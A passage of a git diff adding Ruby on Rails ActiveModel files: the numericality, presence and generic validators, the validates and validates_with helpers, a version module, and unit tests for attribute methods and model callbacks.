+ options.slice(*keys).each do |option, value|
+ next if value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+ raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+ end
+ end
+
+ def validate_each(record, attr_name, value)
+ before_type_cast = :"#{attr_name}_before_type_cast"
+
+ raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast)
+ raw_value ||= value
+
+ return if options[:allow_nil] && raw_value.nil?
+
+ unless value = parse_raw_value_as_a_number(raw_value)
+ record.errors.add(attr_name, :not_a_number, filtered_options(raw_value))
+ return
+ end
+
+ if options[:only_integer]
+ unless value = parse_raw_value_as_an_integer(raw_value)
+ record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value))
+ return
+ end
+ end
+
+ options.slice(*CHECKS.keys).each do |option, option_value|
+ case option
+ when :odd, :even
+ unless value.to_i.send(CHECKS[option])
+ record.errors.add(attr_name, option, filtered_options(value))
+ end
+ else
+ option_value = option_value.call(record) if option_value.is_a?(Proc)
+ option_value = record.send(option_value) if option_value.is_a?(Symbol)
+
+ unless value.send(CHECKS[option], option_value)
+ record.errors.add(attr_name, option, filtered_options(value).merge(:count => option_value))
+ end
+ end
+ end
+ end
+
+ protected
+
+ def parse_raw_value_as_a_number(raw_value)
+ case raw_value
+ when /\A0[xX]/
+ nil
+ else
+ begin
+ Kernel.Float(raw_value)
+ rescue ArgumentError, TypeError
+ nil
+ end
+ end
+ end
+
+ def parse_raw_value_as_an_integer(raw_value)
+ raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\Z/
+ end
+
+ def filtered_options(value)
+ options.except(*RESERVED_OPTIONS).merge!(:value => value)
+ end
+ end
+
+ module HelperMethods
+ # Validates whether the value of the specified attribute is numeric by
+ # trying to convert it to a float with Kernel.Float (if <tt>only_integer</tt>
+ # is +false+) or applying it to the regular expression <tt>/\A[\+\-]?\d+\Z/</tt>
+ # (if <tt>only_integer</tt> is set to +true+).
+ #
+ # class Person < ActiveRecord::Base
+ # validates_numericality_of :value, on: :create
+ # end
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "is not a number").
+ # * <tt>:only_integer</tt> - Specifies whether the value has to be an
+ # integer, e.g. an integral value (default is +false+).
+ # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is
+ # +false+). Notice that for fixnum and float columns empty strings are
+ # converted to +nil+.
+ # * <tt>:greater_than</tt> - Specifies the value must be greater than the
+ # supplied value.
+ # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be
+ # greater than or equal the supplied value.
+ # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied
+ # value.
+ # * <tt>:less_than</tt> - Specifies the value must be less than the
+ # supplied value.
+ # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less
+ # than or equal the supplied value.
+ # * <tt>:other_than</tt> - Specifies the value must be other than the
+ # supplied value.
+ # * <tt>:odd</tt> - Specifies the value must be an odd number.
+ # * <tt>:even</tt> - Specifies the value must be an even number.
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+ .
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ #
+ # The following checks can also be supplied with a proc or a symbol which
+ # corresponds to a method:
+ #
+ # * <tt>:greater_than</tt>
+ # * <tt>:greater_than_or_equal_to</tt>
+ # * <tt>:equal_to</tt>
+ # * <tt>:less_than</tt>
+ # * <tt>:less_than_or_equal_to</tt>
+ #
+ # For example:
+ #
+ # class Person < ActiveRecord::Base
+ # validates_numericality_of :width, less_than: ->(person) { person.height }
+ # validates_numericality_of :width, greater_than: :minimum_weight
+ # end
+ def validates_numericality_of(*attr_names)
+ validates_with NumericalityValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
new file mode 100644
index 0000000..ab8c835
--- /dev/null
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -0,0 +1,39 @@
+
+module ActiveModel
+
+ module Validations
+ class PresenceValidator < EachValidator # :nodoc:
+ def validate_each(record, attr_name, value)
+ record.errors.add(attr_name, :blank, options) if value.blank?
+ end
+ end
+
+ module HelperMethods
+ # Validates that the specified attributes are not blank (as defined by
+ # Object#blank?). Happens by default on save.
+ #
+ # class Person < ActiveRecord::Base
+ # validates_presence_of :first_name
+ # end
+ #
+ # The first_name attribute must be in the object and it cannot be blank.
+ #
+ # If you want to validate the presence of a boolean field (where the real
+ # values are +true+ and +false+), you will want to use
+ # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
+ #
+ # This is due to the way Object#blank? handles boolean values:
+ # <tt>false.blank? # => true</tt>.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_presence_of(*attr_names)
+ validates_with PresenceValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
new file mode 100644
index 0000000..1eb0716
--- /dev/null
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -0,0 +1,169 @@
+require 'active_support/core_ext/hash/slice'
+
+module ActiveModel
+ module Validations
+ module ClassMethods
+ # This method is a shortcut to all default validators and any custom
+ # validator classes ending in 'Validator'. Note that Rails default
+ # validators can be overridden inside specific classes by creating
+ # custom validator classes in their place such as PresenceValidator.
+ #
+ # Examples of using the default rails validators:
+ #
+ # validates :terms, acceptance: true
+ # validates :password, confirmation: true
+ # validates :username, exclusion: { in: %w(admin superuser) }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+ # validates :age, inclusion: { in: 0..9 }
+ # validates :first_name, length: { maximum: 30 }
+ # validates :age, numericality: true
+ # validates :username, presence: true
+ # validates :username, uniqueness: true
+ #
+ # The power of the +validates+ method comes when using custom validators
+ # and default validators in one call for a given attribute.
+ #
+ # class EmailValidator < ActiveModel::EachValidator
+ # def validate_each(record, attribute, value)
+ # record.errors.add attribute, (options[:message] || "is not an email") unless
+ # value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+ # end
+ # end
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # attr_accessor :name, :email
+ #
+ # validates :name, presence: true, uniqueness: true, length: { maximum: 100 }
+ # validates :email, presence: true, email: true
+ # end
+ #
+ # Validator classes may also exist within the class being validated
+ # allowing custom modules of validators to be included as needed.
+ #
+ # class Film
+ # include ActiveModel::Validations
+ #
+ # class TitleValidator < ActiveModel::EachValidator
+ # def validate_each(record, attribute, value)
+ # record.errors.add attribute, "must start with 'the'" unless value =~ /\Athe/i
+ # end
+ # end
+ #
+ # validates :name, title: true
+ # end
+ #
+ # Additionally validator classes may be in another namespace and still
+ # used within any class.
+ #
+ # validates :name, :'film/title' => true
+ #
+ # The validators hash can also handle regular expressions, ranges, arrays
+ # and strings in shortcut form.
+ #
+ # validates :email, format: /@/
+ # validates :gender, inclusion: %w(male female)
+ # validates :password, length: 6..20
+ #
+ # When using shortcut form, ranges and arrays are passed to your
+ # validator's initializer as <tt>options[:in]</tt> while other types
+ # including regular expressions and strings are passed as <tt>options[:with]</tt>.
+ #
+ # There is also a list of options that could be used along with validators:
+ #
+ # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
+ # validation contexts by default (+nil+), other options are <tt>:create</tt>
+ # and <tt>:update</tt>.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or
+ # +false+ value.
+ # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+ # will raise ActiveModel::StrictValidationFailed instead of adding the error.
+ # <tt>:strict</tt> option can also be set to any other exception.
+ #
+ # Example:
+ #
+ # validates :password, presence: true, confirmation: true, if: :password_required?
+ # validates :token, uniqueness: true, strict: TokenGenerationException
+ #
+ #
+ # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+, +:strict+
+ # and +:message+ can be given to one specific validator, as a hash:
+ #
+ # validates :password, presence: { if: :password_required?, message: 'is forgotten.' }, confirmation: true
+ def validates(*attributes)
+ defaults = attributes.extract_options!.dup
+ validations = defaults.slice!(*_validates_default_keys)
+
+ raise ArgumentError, "You need to supply at least one attribute" if attributes.empty?
+ raise ArgumentError, "You need to supply at least one validation" if validations.empty?
+
+ defaults[:attributes] = attributes
+
+ validations.each do |key, options|
+ next unless options
+ key = "#{key.to_s.camelize}Validator"
+
+ begin
+ validator = key.include?('::') ? key.constantize : const_get(key)
+ rescue NameError
+ raise ArgumentError, "Unknown validator: '#{key}'"
+ end
+
+ validates_with(validator, defaults.merge(_parse_validates_options(options)))
+ end
+ end
+
+ # This method is used to define validations that cannot be corrected by end
+ # users and are considered exceptional. So each validator defined with bang
+ # or <tt>:strict</tt> option set to <tt>true</tt> will always raise
+ # <tt>ActiveModel::StrictValidationFailed</tt> instead of adding error
+ # when validation fails. See <tt>validates</tt> for more information about
+ # the validation itself.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates! :name, presence: true
+ # end
+ #
+ # person = Person.new
+ # person.name = ''
+ # person.valid?
+ # # => ActiveModel::StrictValidationFailed: Name can't be blank
+ def validates!(*attributes)
+ options = attributes.extract_options!
+ options[:strict] = true
+ validates(*(attributes << options))
+ end
+
+ protected
+
+ # When creating custom validators, it might be useful to be able to specify
+ # additional default keys. This can be done by overwriting this method.
+ def _validates_default_keys # :nodoc:
+ [:if, :unless, :on, :allow_blank, :allow_nil , :strict]
+ end
+
+ def _parse_validates_options(options) # :nodoc:
+ case options
+ when TrueClass
+ {}
+ when Hash
+ options
+ when Range, Array
+ { :in => options }
+ else
+ { :with => options }
+ end
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
new file mode 100644
index 0000000..2ae335d
--- /dev/null
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -0,0 +1,147 @@
+module ActiveModel
+ module Validations
+ module HelperMethods
+ private
+ def _merge_attributes(attr_names)
+ options = attr_names.extract_options!.symbolize_keys
+ attr_names.flatten!
+ options[:attributes] = attr_names
+ options
+ end
+ end
+
+ class WithValidator < EachValidator # :nodoc:
+ def validate_each(record, attr, val)
+ method_name = options[:with]
+
+ if record.method(method_name).arity == 0
+ record.send method_name
+ else
+ record.send method_name, attr
+ end
+ end
+ end
+
+ module ClassMethods
+ # Passes the record off to the class or classes specified and allows them
+ # to add errors based on more complex conditions.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # validates_with MyValidator
+ # end
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def validate(record)
+ # if some_complex_logic
+ # record.errors.add :base, 'This record is invalid'
+ # end
+ # end
+ #
+ # private
+ # def some_complex_logic
+ # # ...
+ # end
+ # end
+ #
+ # You may also pass it multiple classes, like so:
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # validates_with MyValidator, MyOtherValidator, on: :create
+ # end
+ #
+ # Configuration options:
+ # * <tt>:on</tt> - Specifies when this validation is active
+ # (<tt>:create</tt> or <tt>:update</tt>.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
+ # The method, proc or string should return or evaluate to a +true+ or
+ # +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should not occur
+ # (e.g. <tt>unless: :skip_validation</tt>, or
+ # <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>).
+ # The method, proc or string should return or evaluate to a +true+ or
+ # +false+ value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information.
+ #
+ # If you pass any additional configuration options, they will be passed
+ # to the class and available as +options+:
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # validates_with MyValidator, my_custom_key: 'my custom value'
+ # end
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def validate(record)
+ # options[:my_custom_key] # => "my custom value"
+ # end
+ # end
+ def validates_with(*args, &block)
+ options = args.extract_options!
+ args.each do |klass|
+ validator = klass.new(options, &block)
+ validator.setup(self) if validator.respond_to?(:setup)
+
+ if validator.respond_to?(:attributes) && !validator.attributes.empty?
+ validator.attributes.each do |attribute|
+ _validators[attribute.to_sym] << validator
+ end
+ else
+ _validators[nil] << validator
+ end
+
+ validate(validator, options)
+ end
+ end
+ end
+
+ # Passes the record off to the class or classes specified and allows them
+ # to add errors based on more complex conditions.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # validate :instance_validations
+ #
+ # def instance_validations
+ # validates_with MyValidator
+ # end
+ # end
+ #
+ # Please consult the class method documentation for more information on
+ # creating your own validator.
+ #
+ # You may also pass it multiple classes, like so:
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # validate :instance_validations, on: :create
+ #
+ # def instance_validations
+ # validates_with MyValidator, MyOtherValidator
+ # end
+ # end
+ #
+ # Standard configuration options (<tt>:on</tt>, <tt>:if</tt> and
+ # <tt>:unless</tt>), which are available on the class version of
+ # +validates_with+, should instead be placed on the +validates+ method
+ # as these are applied and tested in the callback.
+ #
+ # If you pass any additional configuration options, they will be passed
+ # to the class and available as +options+, please refer to the
+ # class version of this method for more information.
+ def validates_with(*args, &block)
+ options = args.extract_options!
+ args.each do |klass|
+ validator = klass.new(options, &block)
+ validator.validate(self)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
new file mode 100644
index 0000000..037650e
--- /dev/null
+++ b/activemodel/lib/active_model/validator.rb
@@ -0,0 +1,184 @@
+require "active_support/core_ext/module/anonymous"
+
+module ActiveModel
+
+ # == Active \Model \Validator
+ #
+ # A simple base class that can be used along with
+ # ActiveModel::Validations::ClassMethods.validates_with
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # validates_with MyValidator
+ # end
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def validate(record)
+ # if some_complex_logic
+ # record.errors[:base] = "This record is invalid"
+ # end
+ # end
+ #
+ # private
+ # def some_complex_logic
+ # # ...
+ # end
+ # end
+ #
+ # Any class that inherits from ActiveModel::Validator must implement a method
+ # called +validate+ which accepts a +record+.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # validates_with MyValidator
+ # end
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def validate(record)
+ # record # => The person instance being validated
+ # options # => Any non-standard options passed to validates_with
+ # end
+ # end
+ #
+ # To cause a validation error, you must add to the +record+'s errors directly
+ # from within the validators message.
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def validate(record)
+ # record.errors.add :base, "This is some custom error message"
+ # record.errors.add :first_name, "This is some complex validation"
+ # # etc...
+ # end
+ # end
+ #
+ # To add behavior to the initialize method, use the following signature:
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def initialize(options)
+ # super
+ # @my_custom_field = options[:field_name] || :first_name
+ # end
+ # end
+ #
+ # Note that the validator is initialized only once for the whole application
+ # lifecycle, and not on each validation run.
+ #
+ # The easiest way to add custom validators for validating individual attributes
+ # is with the convenient <tt>ActiveModel::EachValidator</tt>.
+ #
+ # class TitleValidator < ActiveModel::EachValidator
+ # def validate_each(record, attribute, value)
+ # record.errors.add attribute, 'must be Mr., Mrs., or Dr.' unless %w(Mr. Mrs. Dr.).include?(value)
+ # end
+ # end
+ #
+ # This can now be used in combination with the +validates+ method
+ # (see <tt>ActiveModel::Validations::ClassMethods.validates</tt> for more on this).
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # attr_accessor :title
+ #
+ # validates :title, presence: true
+ # end
+ #
+ # Validator may also define a +setup+ instance method which will get called
+ # with the class that using that validator as its argument. This can be
+ # useful when there are prerequisites such as an +attr_accessor+ being present.
+ #
+ # class MyValidator < ActiveModel::Validator
+ # def setup(klass)
+ # klass.send :attr_accessor, :custom_attribute
+ # end
+ # end
+ #
+ # This setup method is only called when used with validation macros or the
+ # class level <tt>validates_with</tt> method.
+ class Validator
+ attr_reader :options
+
+ # Returns the kind of the validator.
+ #
+ # PresenceValidator.kind # => :presence
+ # UniquenessValidator.kind # => :uniqueness
+ def self.kind
+ @kind ||= name.split('::').last.underscore.sub(/_validator$/, '').to_sym unless anonymous?
+ end
+
+ # Accepts options that will be made available through the +options+ reader.
+ def initialize(options = {})
+ @options = options.freeze
+ end
+
+ # Return the kind for this validator.
+ #
+ # PresenceValidator.new.kind # => :presence
+ # UniquenessValidator.new.kind # => :uniqueness
+ def kind
+ self.class.kind
+ end
+
+ # Override this method in subclasses with validation logic, adding errors
+ # to the records +errors+ array where necessary.
+ def validate(record)
+ raise NotImplementedError, "Subclasses must implement a validate(record) method."
+ end
+ end
+
+ # +EachValidator+ is a validator which iterates through the attributes given
+ # in the options hash invoking the <tt>validate_each</tt> method passing in the
+ # record, attribute and value.
+ #
+ # All Active Model validations are built on top of this validator.
+ class EachValidator < Validator #:nodoc:
+ attr_reader :attributes
+
+ # Returns a new validator instance. All options will be available via the
+ # +options+ reader, however the <tt>:attributes</tt> option will be removed
+ # and instead be made available through the +attributes+ reader.
+ def initialize(options)
+ @attributes = Array(options.delete(:attributes))
+ raise ArgumentError, ":attributes cannot be blank" if @attributes.empty?
+ super
+ check_validity!
+ end
+
+ # Performs validation on the supplied record. By default this will call
+ # +validates_each+ to determine validity therefore subclasses should
+ # override +validates_each+ with validation logic.
+ def validate(record)
+ attributes.each do |attribute|
+ value = record.read_attribute_for_validation(attribute)
+ next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
+ validate_each(record, attribute, value)
+ end
+ end
+
+ # Override this method in subclasses with the validation logic, adding
+ # errors to the records +errors+ array where necessary.
+ def validate_each(record, attribute, value)
+ raise NotImplementedError, "Subclasses must implement a validate_each(record, attribute, value) method"
+ end
+
+ # Hook method that gets called by the initializer allowing verification
+ # that the arguments supplied are valid. You could for example raise an
+ # +ArgumentError+ when invalid options are supplied.
+ def check_validity!
+ end
+ end
+
+ # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization
+ # and call this block for each attribute being validated. +validates_each+ uses this validator.
+ class BlockValidator < EachValidator #:nodoc:
+ def initialize(options, &block)
+ @block = block
+ super
+ end
+
+ private
+
+ def validate_each(record, attribute, value)
+ @block.call(record, attribute, value)
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
new file mode 100644
index 0000000..b0afb75
--- /dev/null
+++ b/activemodel/lib/active_model/version.rb
@@ -0,0 +1,11 @@
+module ActiveModel
+ # Returns the version of the currently loaded ActiveModel as a Gem::Version
+ def self.version
+ Gem::Version.new "4.0.0.rc1"
+ end
+
+ module VERSION #:nodoc:
+ MAJOR, MINOR, TINY, PRE = ActiveModel.version.segments
+ STRING = ActiveModel.version.to_s
+ end
+end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
new file mode 100644
index 0000000..d3ec781
--- /dev/null
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -0,0 +1,264 @@
+require 'cases/helper'
+
+class ModelWithAttributes
+ include ActiveModel::AttributeMethods
+
+ class << self
+ define_method(:bar) do
+ 'original bar'
+ end
+ end
+
+ def attributes
+ { :foo => 'value of foo', :baz => 'value of baz' }
+ end
+
+private
+ def attribute(name)
+ attributes[name.to_sym]
+ end
+end
+
+class ModelWithAttributes2
+ include ActiveModel::AttributeMethods
+
+ attr_accessor :attributes
+
+ attribute_method_suffix '_test'
+
+private
+ def attribute(name)
+ attributes[name.to_s]
+ end
+
+ alias attribute_test attribute
+
+ def private_method
+ "<3 <3"
+ end
+
+protected
+
+ def protected_method
+ "O_o O_o"
+ end
+end
+
+class ModelWithAttributesWithSpaces
+ include ActiveModel::AttributeMethods
+
+ def attributes
+ { :'foo bar' => 'value of foo bar'}
+ end
+
+private
+ def attribute(name)
+ attributes[name.to_sym]
+ end
+end
+
+class ModelWithWeirdNamesAttributes
+ include ActiveModel::AttributeMethods
+
+ class << self
+ define_method(:'c?d') do
+ 'original c?d'
+ end
+ end
+
+ def attributes
+ { :'a?b' => 'value of a?b' }
+ end
+
+private
+ def attribute(name)
+ attributes[name.to_sym]
+ end
+end
+
+class ModelWithRubyKeywordNamedAttributes
+ include ActiveModel::AttributeMethods
+
+ def attributes
+ { :begin => 'value of begin', :end => 'value of end' }
+ end
+
+private
+ def attribute(name)
+ attributes[name.to_sym]
+ end
+end
+
+class ModelWithoutAttributesMethod
+ include ActiveModel::AttributeMethods
+end
+
+class AttributeMethodsTest < ActiveModel::TestCase
+ test 'method missing works correctly even if attributes method is not defined' do
+ assert_raises(NoMethodError) { ModelWithoutAttributesMethod.new.foo }
+ end
+
+ test 'unrelated classes should not share attribute method matchers' do
+ assert_not_equal ModelWithAttributes.send(:attribute_method_matchers),
+ ModelWithAttributes2.send(:attribute_method_matchers)
+ end
+
+ test '#define_attribute_method generates attribute method' do
+ ModelWithAttributes.define_attribute_method(:foo)
+
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ end
+
+ test '#define_attribute_method does not generate attribute method if already defined in attribute module' do
+ klass = Class.new(ModelWithAttributes)
+ klass.generated_attribute_methods.module_eval do
+ def foo
+ '<3'
+ end
+ end
+ klass.define_attribute_method(:foo)
+
+ assert_equal '<3', klass.new.foo
+ end
+
+ test '#define_attribute_method generates a method that is already defined on the host' do
+ klass = Class.new(ModelWithAttributes) do
+ def foo
+ super
+ end
+ end
+ klass.define_attribute_method(:foo)
+
+ assert_equal 'value of foo', klass.new.foo
+ end
+
+ test '#define_attribute_method generates attribute method with invalid identifier characters' do
+ ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+
+ assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+ assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+ end
+
+ test '#define_attribute_methods works passing multiple arguments' do
+ ModelWithAttributes.define_attribute_methods(:foo, :baz)
+
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_equal "value of baz", ModelWithAttributes.new.baz
+ end
+
+ test '#define_attribute_methods generates attribute methods' do
+ ModelWithAttributes.define_attribute_methods(:foo)
+
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ end
+
+ test '#alias_attribute generates attribute_aliases lookup hash' do
+ klass = Class.new(ModelWithAttributes) do
+ define_attribute_methods :foo
+ alias_attribute :bar, :foo
+ end
+
+ assert_equal({ "bar" => "foo" }, klass.attribute_aliases)
+ end
+
+ test '#define_attribute_methods generates attribute methods with spaces in their names' do
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+
+ assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+ end
+
+ test '#alias_attribute works with attributes with spaces in their names' do
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+ ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+ end
+
+ test '#alias_attribute works with attributes named as a ruby keyword' do
+ ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+ assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+ assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+ end
+
+ test '#undefine_attribute_methods removes attribute methods' do
+ ModelWithAttributes.define_attribute_methods(:foo)
+ ModelWithAttributes.undefine_attribute_methods
+
+ assert !ModelWithAttributes.new.respond_to?(:foo)
+ assert_raises(NoMethodError) { ModelWithAttributes.new.foo }
+ end
+
+ test 'accessing a suffixed attribute' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'foo' => 'bar' }
+
+ assert_equal 'bar', m.foo
+ assert_equal 'bar', m.foo_test
+ end
+
+ test 'explicitly specifying an empty prefix/suffix is deprecated' do
+ klass = Class.new(ModelWithAttributes)
+
+ assert_deprecated { klass.attribute_method_suffix '' }
+ assert_deprecated { klass.attribute_method_prefix '' }
+
+ klass.define_attribute_methods(:foo)
+
+ assert_equal 'value of foo', klass.new.foo
+ end
+
+ test 'should not interfere with method_missing if the attr has a private/protected method' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
+
+ # dispatches to the *method*, not the attribute
+ assert_equal '<3 <3', m.send(:private_method)
+ assert_equal 'O_o O_o', m.send(:protected_method)
+
+ # sees that a method is already defined, so doesn't intervene
+ assert_raises(NoMethodError) { m.private_method }
+ assert_raises(NoMethodError) { m.protected_method }
+ end
+
+ class ClassWithProtected
+ protected
+ def protected_method
+ end
+ end
+
+ test 'should not interfere with respond_to? if the attribute has a private/protected method' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
+
+ assert !m.respond_to?(:private_method)
+ assert m.respond_to?(:private_method, true)
+
+ c = ClassWithProtected.new
+
+ # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed
+ # in the future.
+ assert_equal c.respond_to?(:protected_method), m.respond_to?(:protected_method)
+ assert m.respond_to?(:protected_method, true)
+ end
+
+ test 'should use attribute_missing to dispatch a missing attribute' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'foo' => 'bar' }
+
+ def m.attribute_missing(match, *args, &block)
+ match
+ end
+
+ match = m.foo_test
+
+ assert_equal 'foo', match.attr_name
+ assert_equal 'attribute_test', match.target
+ assert_equal 'foo_test', match.method_name
+ end
+end
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
new file mode 100644
index 0000000..c4c34b0
--- /dev/null
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -0,0 +1,114 @@
+require "cases/helper"
+
+class CallbacksTest < ActiveModel::TestCase
+
+ class CallbackValidator
+ def around_create(model)
+ model.callbacks << :before_around_create
+ yield
+ model.callbacks << :after_around_create
+ end
+ end
+
+ class ModelCallbacks
+ attr_reader :callbacks
+ extend ActiveModel::Callbacks
+
+ define_model_callbacks :create
+ define_model_callbacks :initialize, :only => :after
+ define_model_callbacks :multiple, :only => [:before, :around]
+ define_model_callbacks :empty, :only => []
+
+ before_create :before_create
+ around_create CallbackValidator.new
+
+ after_create do |model|
+ model.callbacks << :after_create
+ end
+
+ after_create "@callbacks << :final_callback"
+
+ def initialize(valid=true)
+ @callbacks, @valid = [], valid
+ end
+
+ def before_create
+ @callbacks << :before_create
+ end
+
+ def create
+ run_callbacks :create do
+ @callbacks << :create
+ @valid
+ end
+ end
+ end
+
+ test "complete callback chain" do
+ model = ModelCallbacks.new
+ model.create
+ assert_equal model.callbacks, [ :before_create, :before_around_create, :create,
+ :after_around_create, :after_create, :final_callback]
+ end
+
+ test "after callbacks are always appended" do
+ model = ModelCallbacks.new
+ model.create
+ assert_equal model.callbacks.last, :final_callback
+ end
+
+ test "after callbacks are not executed if the block returns false" do
+ model = ModelCallbacks.new(false)
+ model.create
+ assert_equal model.callbacks, [ :before_create, :before_around_create,
+ :create, :after_around_create]
+ end
+
+ test "only selects which types of callbacks should be created" do
+ assert !ModelCallbacks.respond_to?(:before_initialize)
+ assert !ModelCallbacks.respond_to?(:around_initialize)
+ assert_respond_to ModelCallbacks, :after_initialize
+ end
+
+ test "only selects which types of callbacks should be created from an array list" do
+ assert_respond_to ModelCallbacks, :before_multiple
+ assert_respond_to ModelCallbacks, :around_multiple
+ assert !ModelCallbacks.respond_to?(:after_multiple)
+ end
+
+ test "no callbacks should be created" do
+ assert !ModelCallbacks.respond_to?(:before_empty)
+ assert !ModelCallbacks.respond_to?(:around_empty)
+ assert !ModelCallbacks.respond_to?(:after_empty)
+ end
+
+ class Violin
+ attr_reader :history
+ def initialize
+ @history = []
+ end
+ extend ActiveModel::Callbacks
+ define_model_callbacks :create
+ def callback1; self.history << 'callback1'; end
+ def callback2; self.history << 'callback2'; end
+ def create
+ run_callbacks(:create) {}
+ self
+ end
+ end
+ class Violin1 < Violin
+ after_create :callback1, :callback2
+ end
+ class Violin2 < Violin
+ after_create :callback1
+ after_create :callback2
+ end
+
+ test "after_create callbacks with both callbacks declared in one line" do
+ assert_equal ["callback1", "callback2"], Violin1.new.create.history
+ end
+ test "after_create callbacks with both callbacks declared in different lines" do
+ assert_equal ["callback1", "callback2"], Violin2.new.create.history
+ end
+
+end
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
new file mode 100644
index 0000000..a037666
--- /dev/null
+++ b/activemodel/test/cases/conversion_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+require 'models/contact'
+require 'models/helicopter'
+
